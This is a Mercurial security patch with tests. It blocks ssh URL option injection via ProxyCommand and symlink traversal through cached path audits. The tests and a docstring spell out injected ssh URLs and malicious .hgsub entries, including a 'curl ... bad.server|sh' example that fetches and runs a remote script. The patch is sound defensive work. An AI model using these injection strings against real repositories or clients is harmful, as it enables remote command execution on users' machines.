diff --git a/hgext/fsmonitor/__init__.py b/hgext/fsmonitor/__init__.py
index 7ad195e..493c05c 100644
--- a/hgext/fsmonitor/__init__.py
+++ b/hgext/fsmonitor/__init__.py
@@ -364,7 +364,7 @@ def overridewalk(orig, self, match, subrepos, unknown, ignored, full=True):
             visit.update(f for f in copymap
                          if f not in results and matchfn(f))
 
-    audit = pathutil.pathauditor(self._root).check
+    audit = pathutil.pathauditor(self._root, cached=True).check
     auditpass = [f for f in visit if audit(f)]
     auditpass.sort()
     auditfail = visit.difference(auditpass)
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
index 3b8dad2..6520f36 100644
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3251,7 +3251,7 @@ def _performrevert(repo, parents, ctx, actions, interactive=False):
         fc = ctx[f]
         repo.wwrite(f, fc.data(), fc.flags())
 
-    audit_path = pathutil.pathauditor(repo.root)
+    audit_path = pathutil.pathauditor(repo.root, cached=True)
     for f in actions['forget'][0]:
         if interactive:
             choice = \
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
index e7023b0..1fab8d5 100644
--- a/mercurial/dirstate.py
+++ b/mercurial/dirstate.py
@@ -1059,7 +1059,7 @@ class dirstate(object):
                 # that wasn't ignored, and everything that matched was stat'ed
                 # and is already in results.
                 # The rest must thus be ignored or under a symlink.
-                audit_path = pathutil.pathauditor(self._root)
+                audit_path = pathutil.pathauditor(self._root, cached=True)
 
                 for nf in iter(visit):
                     # If a stat for the same file was already added with a
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
index 3072e9f..cfe32a7 100644
--- a/mercurial/localrepo.py
+++ b/mercurial/localrepo.py
@@ -252,8 +252,8 @@ class localrepository(object):
         self.origroot = path
         self.auditor = pathutil.pathauditor(self.root, self._checknested)
         self.nofsauditor = pathutil.pathauditor(self.root, self._checknested,
-                                                realfs=False)
-        self.vfs = scmutil.vfs(self.path)
+                                                realfs=False, cached=True)
+        self.vfs = scmutil.vfs(self.path, cacheaudited=True)
         self.opener = self.vfs
         self.baseui = baseui
         self.ui = baseui.copy()
@@ -321,7 +321,8 @@ class localrepository(object):
                 raise
 
         self.store = store.store(
-                self.requirements, self.sharedpath, scmutil.vfs)
+            self.requirements, self.sharedpath,
+            lambda base: scmutil.vfs(base, cacheaudited=True))
         self.spath = self.store.path
         self.svfs = self.store.vfs
         self.sjoin = self.store.join
diff --git a/mercurial/pathutil.py b/mercurial/pathutil.py
index 1233f65..1b6da73 100644
--- a/mercurial/pathutil.py
+++ b/mercurial/pathutil.py
@@ -32,13 +32,18 @@ class pathauditor(object):
     The file system checks are only done when 'realfs' is set to True (the
     default). They should be disable then we are auditing path for operation on
     stored history.
+
+    If 'cached' is set to True, audited paths and sub-directories are cached.
+    Be careful to not keep the cache of unmanaged directories for long because
+    audited paths may be replaced with symlinks.
     '''
 
-    def __init__(self, root, callback=None, realfs=True):
+    def __init__(self, root, callback=None, realfs=True, cached=False):
         self.audited = set()
         self.auditeddir = set()
         self.root = root
         self._realfs = realfs
+        self._cached = cached
         self.callback = callback
         if os.path.lexists(root) and not util.checkcase(root):
             self.normcase = util.normcase
@@ -95,10 +100,11 @@ class pathauditor(object):
                 self._checkfs(prefix, path)
             prefixes.append(normprefix)
 
-        self.audited.add(normpath)
-        # only add prefixes to the cache after checking everything: we don't
-        # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
-        self.auditeddir.update(prefixes)
+        if self._cached:
+            self.audited.add(normpath)
+            # only add prefixes to the cache after checking everything: we don't
+            # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
+            self.auditeddir.update(prefixes)
 
     def _checkfs(self, prefix, path):
         """raise exception if a file system backed check fails"""
diff --git a/mercurial/posix.py b/mercurial/posix.py
index 1e53c37..114c9dd 100644
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -23,6 +23,7 @@ import unicodedata
 from .i18n import _
 from . import (
     encoding,
+    error,
 )
 
 posixfile = open
@@ -90,7 +91,13 @@ def parsepatchoutput(output_line):
 def sshargs(sshcmd, host, user, port):
     '''Build argument list for ssh'''
     args = user and ("%s@%s" % (user, host)) or host
-    return port and ("%s -p %s" % (args, port)) or args
+    if '-' in args[:1]:
+        raise error.Abort(
+            _('illegal ssh hostname or username starting with -: %s') % args)
+    args = shellquote(args)
+    if port:
+        args = '-p %s %s' % (shellquote(port), args)
+    return args
 
 def isexec(f):
     """check whether a file is executable"""
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
index 68206a7..3579093 100644
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -465,13 +465,19 @@ class vfs(abstractvfs):
 
     This class is used to hide the details of COW semantics and
     remote file access from higher level code.
+
+    'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
+    (b) the base directory is managed by hg and considered sort-of append-only.
+    See pathutil.pathauditor() for details.
     '''
-    def __init__(self, base, audit=True, expandpath=False, realpath=False):
+    def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
+                 realpath=False):
         if expandpath:
             base = util.expandpath(base)
         if realpath:
             base = os.path.realpath(base)
         self.base = base
+        self._cacheaudited = cacheaudited
         self.mustaudit = audit
         self.createmode = None
         self._trustnlink = None
@@ -484,7 +490,8 @@ class vfs(abstractvfs):
     def mustaudit(self, onoff):
         self._audit = onoff
         if onoff:
-            self.audit = pathutil.pathauditor(self.base)
+            self.audit = pathutil.pathauditor(
+                self.base, cached=self._cacheaudited)
         else:
             self.audit = util.always
 
@@ -987,7 +994,7 @@ def _interestingfiles(repo, matcher):
     This is different from dirstate.status because it doesn't care about
     whether files are modified or clean.'''
     added, unknown, deleted, removed, forgotten = [], [], [], [], []
-    audit_path = pathutil.pathauditor(repo.root)
+    audit_path = pathutil.pathauditor(repo.root, cached=True)
 
     ctx = repo[None]
     dirstate = repo.dirstate
diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
index e501e04..6377b4a 100644
--- a/mercurial/sshpeer.py
+++ b/mercurial/sshpeer.py
@@ -130,6 +130,8 @@ class sshpeer(wireproto.wirepeer):
         if u.scheme != 'ssh' or not u.host or u.path is None:
             self._abort(error.RepoError(_("couldn't parse location %s") % path))
 
+        util.checksafessh(path)
+
         self.user = u.user
         if u.passwd is not None:
             self._abort(error.RepoError(_("password in URL not supported")))
@@ -140,10 +142,7 @@ class sshpeer(wireproto.wirepeer):
         sshcmd = self.ui.config("ui", "ssh", "ssh")
         remotecmd = self.ui.config("ui", "remotecmd", "hg")
 
-        args = util.sshargs(sshcmd,
-                            _serverquote(self.host),
-                            _serverquote(self.user),
-                            _serverquote(self.port))
+        args = util.sshargs(sshcmd, self.host, self.user, self.port)
 
         if create:
             cmd = '%s %s %s' % (sshcmd, args,
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
index 31682b9..76d58f8 100644
--- a/mercurial/subrepo.py
+++ b/mercurial/subrepo.py
@@ -1238,6 +1238,10 @@ class svnsubrepo(abstractsubrepo):
         # The revision must be specified at the end of the URL to properly
         # update to a directory which has since been deleted and recreated.
         args.append('%s@%s' % (state[0], state[1]))
+
+        # SEC: check that the ssh url is safe
+        util.checksafessh(state[0])
+
         status, err = self._svncommand(args, failok=True)
         _sanitize(self.ui, self.wvfs, '.svn')
         if not re.search('Checked out revision [0-9]+.', status):
@@ -1499,6 +1503,9 @@ class gitsubrepo(abstractsubrepo):
 
     def _fetch(self, source, revision):
         if self._gitmissing():
+            # SEC: check for safe ssh url
+            util.checksafessh(source)
+
             source = self._abssource(source)
             self.ui.status(_('cloning subrepo %s from %s\n') %
                             (self._relpath, source))
diff --git a/mercurial/util.py b/mercurial/util.py
index 5186314..6126033 100644
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -2460,6 +2460,21 @@ def hasdriveletter(path):
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
+def checksafessh(path):
+    """check if a path / url is a potentially unsafe ssh exploit (SEC)
+
+    This is a sanity check for ssh urls. ssh will parse the first item as
+    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
+    Let's prevent these potentially exploited urls entirely and warn the
+    user.
+
+    Raises an error.Abort when the url is unsafe.
+    """
+    path = urlreq.unquote(path)
+    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
+        raise error.Abort(_('potentially unsafe url: %r') %
+                          (path,))
+
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
diff --git a/mercurial/windows.py b/mercurial/windows.py
index 80308d8..b601614 100644
--- a/mercurial/windows.py
+++ b/mercurial/windows.py
@@ -18,6 +18,7 @@ import sys
 from .i18n import _
 from . import (
     encoding,
+    error,
     osutil,
     win32,
 )
@@ -190,7 +191,14 @@ def sshargs(sshcmd, host, user, port):
     '''Build argument list for ssh or Plink'''
     pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
     args = user and ("%s@%s" % (user, host)) or host
-    return port and ("%s %s %s" % (args, pflag, port)) or args
+    if args.startswith('-') or args.startswith('/'):
+        raise error.Abort(
+            _('illegal ssh hostname or username starting with - or /: %s') %
+            args)
+    args = shellquote(args)
+    if port:
+        args = '%s %s %s' % (pflag, shellquote(port), args)
+    return args
 
 def setflags(f, l, x):
     pass
diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
index e6681f2..4bad0a0 100644
--- a/tests/test-audit-path.t
+++ b/tests/test-audit-path.t
@@ -129,3 +129,103 @@ attack /tmp/test
   [255]
 
   $ cd ..
+
+Test symlink traversal on merge:
+--------------------------------
+
+#if symlink
+
+set up symlink hell
+
+  $ mkdir merge-symlink-out
+  $ hg init merge-symlink
+  $ cd merge-symlink
+  $ touch base
+  $ hg commit -qAm base
+  $ ln -s ../merge-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
+  $ hg up -q 0
+  $ mkdir a
+  $ touch a/poisoned
+  $ hg commit -qAm 'file a/poisoned'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: file a/poisoned
+  |
+  | o  1: symlink a -> ../merge-symlink-out
+  |/
+  o  0: base
+  
+
+try trivial merge
+
+  $ hg up -qC 1
+  $ hg merge 2
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+  [255]
+
+try rebase onto other revision: cache of audited paths should be discarded,
+and the rebase should fail (issue5628)
+
+  $ hg up -qC 2
+  $ hg rebase -s 2 -d 1 --config extensions.rebase=
+  rebasing 2:e73c21d6b244 "file a/poisoned" (tip)
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+  [255]
+  $ ls ../merge-symlink-out
+
+  $ cd ..
+
+Test symlink traversal on update:
+---------------------------------
+
+  $ mkdir update-symlink-out
+  $ hg init update-symlink
+  $ cd update-symlink
+  $ ln -s ../update-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../update-symlink-out'
+  $ hg rm a
+  $ mkdir a && touch a/b
+  $ hg ci -qAm 'file a/b' a/b
+  $ hg up -qC 0
+  $ hg rm a
+  $ mkdir a && touch a/c
+  $ hg ci -qAm 'rm a, file a/c'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: rm a, file a/c
+  |
+  | o  1: file a/b
+  |/
+  o  0: symlink a -> ../update-symlink-out
+  
+
+try linear update where symlink already exists:
+
+  $ hg up -qC 0
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+
+try linear update including symlinked directory and its content: paths are
+audited first by calculateupdates(), where no symlink is created so both
+'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
+
+  $ hg up -qC null
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+  $ ls ../update-symlink-out
+
+try branch update replacing directory with symlink, and its content: the
+path 'a' is audited as a directory first, which should be audited again as
+a symlink.
+
+  $ rm -f a
+  $ hg up -qC 2
+  $ hg up 1
+  abort: path 'a/b' traverses symbolic link 'a'
+  [255]
+  $ ls ../update-symlink-out
+
+  $ cd ..
+
+#endif
diff --git a/tests/test-clone.t b/tests/test-clone.t
index 7c1357e..4296153 100644
--- a/tests/test-clone.t
+++ b/tests/test-clone.t
@@ -1082,3 +1082,66 @@ Cloning into pooled storage doesn't race (issue5104)
   adding remote bookmark bookA
   updating working directory
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg clone 'ssh://fakehost|touch%20owned/path'
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
+  [255]
+
+#if windows
+  $ hg clone "ssh://%26touch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" -p "&touch owned " example.com "hg -R . serve --stdio"
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+#else
+  $ hg clone "ssh://%3btouch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" ';touch owned ' 'hg -R . serve --stdio'
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg clone "ssh://example.com:%3btouch%20owned%20/" --debug
+  running sh -c "read l; read l; read l" -p ';touch owned ' example.com 'hg -R . serve --stdio'
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+#endif
+
+  $ hg clone "ssh://v-alid.example.com/" --debug
+  running sh -c "read l; read l; read l" v-alid\.example\.com ['"]hg -R \. serve --stdio['"] (re)
+  sending hello command
+  sending between command
+  abort: no suitable response from remote hg!
+  [255]
+
+We should not have created a file named owned - if it exists, the
+attack succeeded.
+  $ if test -f owned; then echo 'you got owned'; fi
diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
index 2459050..9d4cbc6 100644
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -881,3 +881,80 @@ cases.
   *** runcommand log
   0 bar (bar)
   *** runcommand verify -q
+
+  $ cd ..
+
+Test symlink traversal over cached audited paths:
+-------------------------------------------------
+
+#if symlink
+
+set up symlink hell
+
+  $ mkdir merge-symlink-out
+  $ hg init merge-symlink
+  $ cd merge-symlink
+  $ touch base
+  $ hg commit -qAm base
+  $ ln -s ../merge-symlink-out a
+  $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
+  $ hg up -q 0
+  $ mkdir a
+  $ touch a/poisoned
+  $ hg commit -qAm 'file a/poisoned'
+  $ hg log -G -T '{rev}: {desc}\n'
+  @  2: file a/poisoned
+  |
+  | o  1: symlink a -> ../merge-symlink-out
+  |/
+  o  0: base
+  
+
+try trivial merge after update: cache of audited paths should be discarded,
+and the merge should fail (issue5628)
+
+  $ hg up -q null
+  >>> from hgclient import readchannel, runcommand, check
+  >>> @check
+  ... def merge(server):
+  ...     readchannel(server)
+  ...     # audit a/poisoned as a good path
+  ...     runcommand(server, ['up', '-qC', '2'])
+  ...     runcommand(server, ['up', '-qC', '1'])
+  ...     # here a is a symlink, so a/poisoned is bad
+  ...     runcommand(server, ['merge', '2'])
+  *** runcommand up -qC 2
+  *** runcommand up -qC 1
+  *** runcommand merge 2
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+   [255]
+  $ ls ../merge-symlink-out
+
+cache of repo.auditor should be discarded, so matcher would never traverse
+symlinks:
+
+  $ hg up -qC 0
+  $ touch ../merge-symlink-out/poisoned
+  >>> from hgclient import readchannel, runcommand, check
+  >>> @check
+  ... def files(server):
+  ...     readchannel(server)
+  ...     runcommand(server, ['up', '-qC', '2'])
+  ...     # audit a/poisoned as a good path
+  ...     runcommand(server, ['files', 'a/poisoned'])
+  ...     runcommand(server, ['up', '-qC', '0'])
+  ...     runcommand(server, ['up', '-qC', '1'])
+  ...     # here 'a' is a symlink, so a/poisoned should be warned
+  ...     runcommand(server, ['files', 'a/poisoned'])
+  *** runcommand up -qC 2
+  *** runcommand files a/poisoned
+  a/poisoned
+  *** runcommand up -qC 0
+  *** runcommand up -qC 1
+  *** runcommand files a/poisoned
+  abort: path 'a/poisoned' traverses symbolic link 'a'
+   [255]
+
+  $ cd ..
+
+#endif
diff --git a/tests/test-pull.t b/tests/test-pull.t
index bf79a03..2e9306f 100644
--- a/tests/test-pull.t
+++ b/tests/test-pull.t
@@ -101,4 +101,30 @@ regular shell commands.
   $ URL=`$PYTHON -c "import os; print 'file://localhost' + ('/' + os.getcwd().replace(os.sep, '/')).replace('//', '/') + '/../test'"`
   $ hg pull -q "$URL"
 
+SEC: check for unsafe ssh url
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg pull 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg pull 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
+  pulling from ssh://-oProxyCommand%3Dtouch%24%7BIFS%7Downed/path
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
+  [255]
+  $ hg pull 'ssh://fakehost|touch${IFS}owned/path'
+  pulling from ssh://fakehost%7Ctouch%24%7BIFS%7Downed/path
+  abort: no suitable response from remote hg!
+  [255]
+  $ hg pull 'ssh://fakehost%7Ctouch%20owned/path'
+  pulling from ssh://fakehost%7Ctouch%20owned/path
+  abort: no suitable response from remote hg!
+  [255]
+
+  $ [ ! -f owned ] || echo 'you got owned'
+
   $ cd ..
diff --git a/tests/test-ssh-bundle1.t b/tests/test-ssh-bundle1.t
index a7cb2c5..a51dd29 100644
--- a/tests/test-ssh-bundle1.t
+++ b/tests/test-ssh-bundle1.t
@@ -459,7 +459,7 @@ debug output
 
   $ hg pull --debug ssh://user@dummy/remote
   pulling from ssh://user@dummy/remote
-  running python ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
+  running python ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
   remote: 371
diff --git a/tests/test-ssh.t b/tests/test-ssh.t
index 69be386..f662f60 100644
--- a/tests/test-ssh.t
+++ b/tests/test-ssh.t
@@ -464,7 +464,7 @@ debug output
 
   $ hg pull --debug ssh://user@dummy/remote
   pulling from ssh://user@dummy/remote
-  running python ".*/dummyssh" user@dummy ('|")hg -R remote serve --stdio('|") (re)
+  running python ".*/dummyssh" ['"]user@dummy['"] ('|")hg -R remote serve --stdio('|") (re)
   sending hello command
   sending between command
   remote: 371
diff --git a/tests/test-subrepo-git.t b/tests/test-subrepo-git.t
index 2bddc2f..f0291f1 100644
--- a/tests/test-subrepo-git.t
+++ b/tests/test-subrepo-git.t
@@ -1165,3 +1165,35 @@ whitelisting of ext should be respected (that's the git submodule behaviour)
   cloning subrepo s from ext::sh -c echo% pwned% >&2
   abort: git clone error 128 in s (in subrepo s)
   [255]
+
+test for ssh exploit with git subrepos 2017-07-25
+
+  $ hg init malicious-proxycommand
+  $ cd malicious-proxycommand
+  $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
+  $ git init s
+  Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
+  $ cd s
+  $ git commit --allow-empty -m 'empty'
+  [master (root-commit) 153f934] empty
+  $ cd ..
+  $ hg add .hgsub
+  $ hg ci -m 'add subrepo'
+  $ cd ..
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
+  [255]
+
diff --git a/tests/test-subrepo-svn.t b/tests/test-subrepo-svn.t
index 7497193..a09ace8 100644
--- a/tests/test-subrepo-svn.t
+++ b/tests/test-subrepo-svn.t
@@ -639,3 +639,43 @@ Test that sanitizing is omitted in meta data area:
   $ hg update -q -C '.^1'
 
   $ cd ../..
+
+SEC: test for ssh exploit
+
+  $ hg init ssh-vuln
+  $ cd ssh-vuln
+  $ echo "s = [svn]$SVNREPOURL/src" >> .hgsub
+  $ svn co --quiet "$SVNREPOURL"/src s
+  $ hg add .hgsub
+  $ hg ci -m1
+  $ echo "s = [svn]svn+ssh://-oProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m2
+  $ cd ..
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned nested' (in subrepo s)
+  [255]
+
+also check that hiding the attack in the username doesn't work:
+
+  $ cd ssh-vuln
+  $ echo "s = [svn]svn+ssh://%2DoProxyCommand=touch%20owned%20foo@example.com/nested" > .hgsub
+  $ hg ci -m3
+  $ cd ..
+  $ rm -r ssh-vuln-clone
+  $ hg clone ssh-vuln ssh-vuln-clone
+  updating to branch default
+  abort: potentially unsafe url: 'svn+ssh://-oProxyCommand=touch owned foo@example.com/nested' (in subrepo s)
+  [255]
diff --git a/tests/test-subrepo.t b/tests/test-subrepo.t
index 230ff66..828f241 100644
--- a/tests/test-subrepo.t
+++ b/tests/test-subrepo.t
@@ -1764,3 +1764,77 @@ Test that '[paths]' is configured correctly at subrepo creation
   +bar
 
   $ cd ..
+
+test for ssh exploit 2017-07-25
+
+  $ cat >> $HGRCPATH << EOF
+  > [ui]
+  > ssh = sh -c "read l; read l; read l"
+  > EOF
+
+  $ hg init malicious-proxycommand
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://-oProxyCommand=touch${IFS}owned/path' > .hgsub
+  $ hg init s
+  $ cd s
+  $ echo init > init
+  $ hg add
+  adding init
+  $ hg commit -m init
+  $ cd ..
+  $ hg add .hgsub
+  $ hg ci -m 'add subrepo'
+  $ cd ..
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
+  [255]
+
+also check that a percent encoded '-' (%2D) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://%2DoProxyCommand=touch${IFS}owned/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path' (in subrepo s)
+  [255]
+
+also check for a pipe
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://fakehost|touch${IFS}owned/path' > .hgsub
+  $ hg ci -m 'change url to pipe'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: no suitable response from remote hg!
+  [255]
+  $ [ ! -f owned ] || echo 'you got owned'
+
+also check that a percent encoded '|' (%7C) doesn't work
+
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://fakehost%7Ctouch%20owned/path' > .hgsub
+  $ hg ci -m 'change url to percent encoded pipe'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: no suitable response from remote hg!
+  [255]
+  $ [ ! -f owned ] || echo 'you got owned'
+
+and bad usernames:
+  $ cd malicious-proxycommand
+  $ echo 's = [hg]ssh://-oProxyCommand=touch owned@example.com/path' > .hgsub
+  $ hg ci -m 'owned username'
+  $ cd ..
+  $ rm -r malicious-proxycommand-clone
+  $ hg clone malicious-proxycommand malicious-proxycommand-clone
+  updating to branch default
+  abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned@example.com/path' (in subrepo s)
+  [255]